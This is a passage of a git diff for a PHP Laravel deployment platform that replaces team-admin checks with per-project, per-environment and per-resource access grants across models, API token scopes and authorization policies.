'DELETE', 'path' => 'tags/{tag_uuid}', 'ability' => 'write', 'confirm' => true, 'description' => 'delete a team tag and detach it from all resources'], + 'delete' => ['method' => 'DELETE', 'path' => 'tags/{tag_uuid}', 'ability' => 'delete', 'confirm' => true, 'description' => 'delete a team tag and detach it from all resources'], 'attach' => ['method' => 'POST', 'paths' => [ 'application' => 'applications/{uuid}/tags', 'database' => 'databases/{uuid}/tags', @@ -28,7 +28,7 @@ class ManageTags extends RestActionTool 'application' => 'applications/{uuid}/tags/{tag_uuid}', 'database' => 'databases/{uuid}/tags/{tag_uuid}', 'service' => 'services/{uuid}/tags/{tag_uuid}', - ], 'ability' => 'write', 'description' => 'detach a tag from the resource'], + ], 'ability' => 'delete', 'description' => 'detach a tag from the resource'], ]; } diff --git a/app/Mcp/Tools/SearchResources.php b/app/Mcp/Tools/SearchResources.php index 28ea617e38..37f24aef35 100644 --- a/app/Mcp/Tools/SearchResources.php +++ b/app/Mcp/Tools/SearchResources.php @@ -7,7 +7,6 @@ use App\Mcp\Concerns\ResolvesTeam; use App\Models\Application; use App\Models\Environment; use App\Models\Project; -use App\Models\Server; use App\Models\Service; use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; @@ -82,7 +81,7 @@ class SearchResources extends Tool } if (in_array('server', $typesList, true)) { - Server::whereTeamId($teamId) + $this->visibleServers($request, $teamId) ->where(function ($q) use ($like, $needle) { $q->whereRaw('LOWER(name) LIKE ?', [$like]) ->orWhere('uuid', $needle) diff --git a/app/Models/Application.php b/app/Models/Application.php index 457c1940e8..d82288a5ce 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -23,6 +23,7 @@ use App\Traits\HasNoindexDomains; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; use App\Traits\ReleasesManagedDnsRecords; +use App\Traits\ScopedByAccessGrants; use Database\Factories\ApplicationFactory; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -139,7 +140,7 @@ use Symfony\Component\Yaml\Yaml; class Application extends BaseModel { /** @use HasFactory */ - use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasConfiguration, HasFactory, HasMaintenancePage, HasMetrics, HasNoindexDomains, HasSafeStringAttribute, HasSecretManager, ReleasesManagedDnsRecords, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasConfiguration, HasFactory, HasMaintenancePage, HasMetrics, HasNoindexDomains, HasSafeStringAttribute, HasSecretManager, ReleasesManagedDnsRecords, ScopedByAccessGrants, SoftDeletes; public const MAX_DOCKER_COMPOSE_SIZE_BYTES = 5 * 1024 * 1024; diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 2979cab170..2b30f3bed6 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -4,7 +4,9 @@ namespace App\Models; use App\Casts\EncryptedArrayCast; use App\Enums\ApplicationDeploymentStatus; +use App\Services\Access\AccessResolver; use App\Services\Security\SensitiveDataRedactor; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Carbon; @@ -48,6 +50,20 @@ use OpenApi\Attributes as OA; )] class ApplicationDeploymentQueue extends Model { + /** + * Only deployments of applications the authenticated member or API token can see. + */ + public function scopeVisibleToCurrentActor(Builder $query): Builder + { + foreach (app(AccessResolver::class)->currentLayers() as $layer) { + if (! $layer->coversWholeTeam()) { + return $query->whereIn('application_id', Application::query()->pluck('id')->map(fn ($id) => (string) $id)); + } + } + + return $query; + } + /** * Log redaction variants of remote secrets. Kept in memory only, never saved. * diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index abe317530f..211aef3bd1 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Services\Access\AccessResolver; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Model; use OpenApi\Attributes as OA; @@ -143,10 +144,11 @@ class ApplicationSetting extends Model */ public static function isContainerNamePrefixInUse(string $prefix, Server $server, ?int $ignoreApplicationId = null): bool { - return $server->applications()->contains(function (Application $application) use ($prefix, $ignoreApplicationId) { + // Hidden applications of a scoped member still count, or two names on one server could collide. + return app(AccessResolver::class)->withoutVisibilityScope(fn () => $server->applications()->contains(function (Application $application) use ($prefix, $ignoreApplicationId) { return $application->id !== $ignoreApplicationId && in_array($prefix, [$application->uuid, $application->settings->custom_container_name_prefix, $application->settings->custom_internal_name], true); - }); + })); } public function stopGracePeriodSeconds(): int diff --git a/app/Models/Environment.php b/app/Models/Environment.php index 5521bd31c5..8eeecb0754 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\HasMany; use OpenApi\Attributes as OA; @@ -24,7 +25,7 @@ use OpenApi\Attributes as OA; class Environment extends BaseModel { use Auditable, HasFactory; - use ClearsGlobalSearchCache; + use ClearsGlobalSearchCache, ScopedByAccessGrants; use HasSafeStringAttribute; protected $fillable = [ diff --git a/app/Models/PersonalAccessToken.php b/app/Models/PersonalAccessToken.php index 503377bec1..b1b60414dc 100644 --- a/app/Models/PersonalAccessToken.php +++ b/app/Models/PersonalAccessToken.php @@ -13,12 +13,14 @@ class PersonalAccessToken extends SanctumPersonalAccessToken 'expires_at', 'api_token_expiration_warning_sent_at', 'team_id', + 'scopes', ]; protected function casts(): array { return [ 'api_token_expiration_warning_sent_at' => 'datetime', + 'scopes' => 'array', ]; } } diff --git a/app/Models/Project.php b/app/Models/Project.php index 7df5ecad50..ea9afa94bb 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -5,6 +5,7 @@ namespace App\Models; use App\Traits\Auditable; use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Support\Collection; use OpenApi\Attributes as OA; @@ -22,7 +23,7 @@ use OpenApi\Attributes as OA; class Project extends BaseModel { use Auditable, HasFactory; - use ClearsGlobalSearchCache; + use ClearsGlobalSearchCache, ScopedByAccessGrants; use HasSafeStringAttribute; protected $fillable = [ diff --git a/app/Models/Scopes/VisibleThroughAccessGrants.php b/app/Models/Scopes/VisibleThroughAccessGrants.php new file mode 100644 index 0000000000..8557c109e8 --- /dev/null +++ b/app/Models/Scopes/VisibleThroughAccessGrants.php @@ -0,0 +1,43 @@ +isResolving()) { + return; + } + + foreach ($resolver->currentLayers() as $layer) { + if ($layer->coversWholeTeam()) { + continue; + } + + if ($model instanceof Project) { + $builder->whereIn($model->qualifyColumn('id'), $layer->visibleProjectIds()); + } elseif ($model instanceof Environment) { + $builder->whereIn($model->qualifyColumn('id'), $layer->visibleEnvironmentIds()); + } else { + $builder->where(fn (Builder $query) => $query + ->whereIn($model->qualifyColumn('environment_id'), $layer->fullEnvironmentIds()) + ->orWhereIn($model->qualifyColumn('uuid'), $layer->resourceUuids())); + } + } + } +} diff --git a/app/Models/Service.php b/app/Models/Service.php index 2ebff2ad9c..790bd1c978 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -12,6 +12,7 @@ use App\Traits\HasComposeVolumeWarnings; use App\Traits\HasMaintenancePage; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\HasMany; @@ -46,7 +47,7 @@ use OpenApi\Attributes as OA; )] class Service extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasFactory, HasMaintenancePage, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasComposeVolumeWarnings, HasFactory, HasMaintenancePage, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; private static $parserVersion = '5'; diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index eeaa59c97c..50a4bd56ad 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -9,6 +9,7 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; @@ -16,7 +17,7 @@ use Throwable; class StandaloneClickhouse extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected array $auditExclude = ['last_online_at']; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 23d7131244..f9d7b3a29d 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneDragonfly extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index d2aa105bd3..8b3aea2e01 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneKeydb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index be5c464e0d..4168e92cb5 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -9,6 +9,7 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\MorphTo; @@ -16,7 +17,7 @@ use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMariadb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 208b5e917a..09de0f7d9f 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMongodb extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 68a73ae573..29c21cd710 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneMysql extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 7829ab0d0e..6f8dbc3394 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandalonePostgresql extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected $fillable = [ 'uuid', diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index d3c8004ae3..f7efb017b2 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -9,13 +9,14 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; class StandaloneRedis extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; protected array $auditExclude = ['last_online_at']; diff --git a/app/Models/StandaloneSqlite.php b/app/Models/StandaloneSqlite.php index 2f6993865c..5162a72fc0 100644 --- a/app/Models/StandaloneSqlite.php +++ b/app/Models/StandaloneSqlite.php @@ -9,6 +9,7 @@ use App\Traits\HasLogRedactionSetting; use App\Traits\HasMetrics; use App\Traits\HasSafeStringAttribute; use App\Traits\HasSecretManager; +use App\Traits\ScopedByAccessGrants; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; @@ -17,7 +18,7 @@ use InvalidArgumentException; class StandaloneSqlite extends BaseModel { - use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, SoftDeletes; + use Auditable, ClearsGlobalSearchCache, HasDatabaseHealthCheck, HasFactory, HasLogRedactionSetting, HasMetrics, HasSafeStringAttribute, HasSecretManager, ScopedByAccessGrants, SoftDeletes; public const DATA_DIRECTORY = '/var/lib/sqlite'; diff --git a/app/Models/Team.php b/app/Models/Team.php index a6a6f82dae..cc74899e2e 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -316,7 +316,7 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen public function members() { - return $this->belongsToMany(User::class, 'team_user', 'team_id', 'user_id')->withPivot('role'); + return $this->belongsToMany(User::class, 'team_user', 'team_id', 'user_id')->withPivot('role', 'access'); } public function subscription() diff --git a/app/Models/User.php b/app/Models/User.php index 1257f3c857..d92f620dcf 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -3,14 +3,17 @@ namespace App\Models; use App\Actions\User\RevokeUserTeamTokens; +use App\Enums\AccessLevel; use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; use App\Notifications\TransactionalEmails\EmailChangeVerification; use App\Notifications\TransactionalEmails\ResetPassword as TransactionalEmailsResetPassword; +use App\Services\Access\AccessResolver; use App\Services\ChangelogService; use App\Traits\DeletesUserSessions; use DateTimeInterface; use Illuminate\Database\Eloquent\Factories\HasFactory; +use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Messages\MailMessage; @@ -285,7 +288,7 @@ class User extends Authenticatable implements PasskeyUser, SendsEmail public function teams() { - return $this->belongsToMany(Team::class)->withPivot('role'); + return $this->belongsToMany(Team::class)->withPivot('role', 'access'); } public function changelogReads() @@ -484,6 +487,14 @@ class User extends Authenticatable implements PasskeyUser, SendsEmail return data_get($team, 'pivot.role'); } + /** + * Check the access grants of the user (and the API token of the request) on a project, environment, or resource. + */ + public function canAccess(AccessLevel $level, Model $target): bool + { + return app(AccessResolver::class)->allows($this, $level, $target); + } + /** * Check if the user is an admin or owner of a specific team */ diff --git a/app/Policies/ApiTokenPolicy.php b/app/Policies/ApiTokenPolicy.php index e9ef4d7c9e..9ec28e9942 100644 --- a/app/Policies/ApiTokenPolicy.php +++ b/app/Policies/ApiTokenPolicy.php @@ -2,7 +2,9 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\User; +use App\Services\Access\AccessResolver; use Laravel\Sanctum\PersonalAccessToken; class ApiTokenPolicy @@ -60,7 +62,7 @@ class ApiTokenPolicy */ public function useRootPermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Root); } /** @@ -68,7 +70,7 @@ class ApiTokenPolicy */ public function useWritePermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Write); } /** @@ -76,7 +78,7 @@ class ApiTokenPolicy */ public function useDeployPermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Deploy); } /** @@ -84,7 +86,37 @@ class ApiTokenPolicy */ public function useSensitivePermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::ReadSensitive); + } + + /** + * Determine whether the user can use delete permissions for API tokens. + */ + public function useDeletePermissions(User $user): bool + { + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Delete); + } + + /** + * True when a grant of the member in the current team gives the level somewhere. + * Creating the token still checks that the member holds it on every chosen scope. + */ + private function holdsSomewhere(User $user, AccessLevel $level): bool + { + $teamId = $user->currentTeam()?->id; + if ($teamId === null) { + return false; + } + + foreach (app(AccessResolver::class)->memberGrants($user, $teamId) ?? [] as $grant) { + foreach ($grant->levels as $granted) { + if (in_array($level, $granted->includes(), true)) { + return true; + } + } + } + + return false; } private function belongsToUserAndCurrentTeam(User $user, PersonalAccessToken $token): bool diff --git a/app/Policies/ApplicationPolicy.php b/app/Policies/ApplicationPolicy.php index 3dca4cdf7e..de2c732a3f 100644 --- a/app/Policies/ApplicationPolicy.php +++ b/app/Policies/ApplicationPolicy.php @@ -2,7 +2,9 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\Application; +use App\Models\Environment; use App\Models\User; use Illuminate\Auth\Access\Response; @@ -21,17 +23,15 @@ class ApplicationPolicy */ public function view(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $user->canAccess(AccessLevel::Read, $application); } /** - * Determine whether the user can create models. + * Determine whether the user can create models, in the environment when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + return app(ResourceCreatePolicy::class)->createAny($user, $environment); } /** @@ -39,13 +39,7 @@ class ApplicationPolicy */ public function update(User $user, Application $application): Response { - $teamId = $this->getTeamId($application); - - if ($teamId === null) { - return Response::deny('Application team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($user->canAccess(AccessLevel::Write, $application)) { return Response::allow(); } @@ -57,9 +51,7 @@ class ApplicationPolicy */ public function delete(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Delete, $application); } /** @@ -83,13 +75,7 @@ class ApplicationPolicy */ public function uploadBackup(User $user, Application $application): Response { - $teamId = $this->getTeamId($application); - - if ($teamId === null) { - return Response::deny('Application team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($user->canAccess(AccessLevel::Write, $application)) { return Response::allow(); } @@ -97,13 +83,19 @@ class ApplicationPolicy } /** - * Determine whether the user can deploy the application. + * Determine whether the user can deploy, restart, or stop the application. */ public function deploy(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); + return $user->canAccess(AccessLevel::Deploy, $application); + } - return $teamId !== null && $user->isAdminOfTeam($teamId); + /** + * Determine whether the user can read secret values, such as environment variable values. + */ + public function viewSensitive(User $user, Application $application): bool + { + return $user->canAccess(AccessLevel::ReadSensitive, $application); } /** @@ -111,13 +103,6 @@ class ApplicationPolicy */ public function manageEnvironment(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); - - return $teamId !== null && $user->isAdminOfTeam($teamId); - } - - private function getTeamId(Application $application): ?int - { - return $application->team()?->id; + return $user->canAccess(AccessLevel::Write, $application); } } diff --git a/app/Policies/ApplicationPreviewPolicy.php b/app/Policies/ApplicationPreviewPolicy.php index 6e1b597249..8f203b2212 100644 --- a/app/Policies/ApplicationPreviewPolicy.php +++ b/app/Policies/ApplicationPreviewPolicy.php @@ -2,6 +2,7 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\ApplicationPreview; use App\Models\User; use Illuminate\Auth\Access\Response; @@ -21,9 +22,7 @@ class ApplicationPreviewPolicy */ public function view(User $user, ApplicationPreview $applicationPreview): bool { - $teamId = $this->getTeamId($applicationPreview); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $this->allows($user, AccessLevel::Read, $applicationPreview); } /** @@ -39,13 +38,7 @@ class ApplicationPreviewPolicy */ public function update(User $user, ApplicationPreview $applicationPreview): Response { - $teamId = $this->getTeamId($applicationPreview); - - if ($teamId === null) { - return Response::deny('Application preview team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($this->allows($user, AccessLevel::Write, $applicationPreview)) { return Response::allow(); } @@ -57,9 +50,7 @@ class ApplicationPreviewPolicy */ public function delete(User $user, ApplicationPreview $applicationPreview): bool { - $teamId = $this->getTeamId($applicationPreview); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Delete, $applicationPreview); } /** @@ -83,13 +74,13 @@ class ApplicationPreviewPolicy */ public function deploy(User $user, ApplicationPreview $applicationPreview): bool { - $teamId = $this->getTeamId($applicationPreview); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Deploy, $applicationPreview); } - private function getTeamId(ApplicationPreview $applicationPreview): ?int + private function allows(User $user, AccessLevel $level, ApplicationPreview $applicationPreview): bool { - return $applicationPreview->application?->team()?->id; + $application = $applicationPreview->application; + + return $application !== null && $user->canAccess($level, $application); } } diff --git a/app/Policies/ApplicationSettingPolicy.php b/app/Policies/ApplicationSettingPolicy.php index be2137cb85..c37c84fd38 100644 --- a/app/Policies/ApplicationSettingPolicy.php +++ b/app/Policies/ApplicationSettingPolicy.php @@ -2,6 +2,7 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\ApplicationSetting; use App\Models\User; @@ -20,9 +21,7 @@ class ApplicationSettingPolicy */ public function view(User $user, ApplicationSetting $applicationSetting): bool { - $teamId = $this->getTeamId($applicationSetting); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $this->allows($user, AccessLevel::Read, $applicationSetting); } /** @@ -38,9 +37,7 @@ class ApplicationSettingPolicy */ public function update(User $user, ApplicationSetting $applicationSetting): bool { - $teamId = $this->getTeamId($applicationSetting); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Write, $applicationSetting); } /** @@ -48,9 +45,7 @@ class ApplicationSettingPolicy */ public function delete(User $user, ApplicationSetting $applicationSetting): bool { - $teamId = $this->getTeamId($applicationSetting); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Delete, $applicationSetting); } /** @@ -69,8 +64,10 @@ class ApplicationSettingPolicy return false; } - private function getTeamId(ApplicationSetting $applicationSetting): ?int + private function allows(User $user, AccessLevel $level, ApplicationSetting $applicationSetting): bool { - return $applicationSetting->application?->team()?->id; + $application = $applicationSetting->application; + + return $application !== null && $user->canAccess($level, $application); } } diff --git a/app/Policies/DatabasePolicy.php b/app/Policies/DatabasePolicy.php index 4217432b50..cbc94aa855 100644 --- a/app/Policies/DatabasePolicy.php +++ b/app/Policies/DatabasePolicy.php @@ -2,6 +2,8 @@ namespace App\Policies; +use App\Enums\AccessLevel; +use App\Models\Environment; use App\Models\User; use Illuminate\Auth\Access\Response; @@ -20,17 +22,19 @@ class DatabasePolicy */ public function view(User $user, $database): bool { - $teamId = $this->getTeamId($database); + if ($this->isInstanceDatabase($database)) { + return $user->teams->contains('id', 0); + } - return $teamId !== null && $user->teams->contains('id', $teamId); + return $user->canAccess(AccessLevel::Read, $database); } /** - * Determine whether the user can create models. + * Determine whether the user can create models, in the environment when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + return app(ResourceCreatePolicy::class)->createAny($user, $environment); } /** @@ -38,13 +42,7 @@ class DatabasePolicy */ public function update(User $user, $database): Response { - $teamId = $this->getTeamId($database); - - if ($teamId === null) { - return Response::deny('Database team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($this->allows($user, AccessLevel::Write, $database)) { return Response::allow(); } @@ -56,9 +54,7 @@ class DatabasePolicy */ public function delete(User $user, $database): bool { - $teamId = $this->getTeamId($database); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Delete, $database); } /** @@ -78,13 +74,12 @@ class DatabasePolicy } /** - * Determine whether the user can start/stop the database. + * Determine whether the user can start, stop, restart, and flush the database. + * Needs write access because flushing deletes the data. */ public function manage(User $user, $database): bool { - $teamId = $this->getTeamId($database); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Write, $database); } /** @@ -92,13 +87,7 @@ class DatabasePolicy */ public function uploadBackup(User $user, $database): Response { - $teamId = $this->getTeamId($database); - - if ($teamId === null) { - return Response::deny('Database team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($this->allows($user, AccessLevel::Write, $database)) { return Response::allow(); } @@ -110,9 +99,15 @@ class DatabasePolicy */ public function manageBackups(User $user, $database): bool { - $teamId = $this->getTeamId($database); + return $this->allows($user, AccessLevel::Write, $database); + } - return $teamId !== null && $user->isAdminOfTeam($teamId); + /** + * Determine whether the user can read secret values, such as environment variable values. + */ + public function viewSensitive(User $user, $database): bool + { + return $this->allows($user, AccessLevel::ReadSensitive, $database); } /** @@ -120,22 +115,23 @@ class DatabasePolicy */ public function manageEnvironment(User $user, $database): bool { - $teamId = 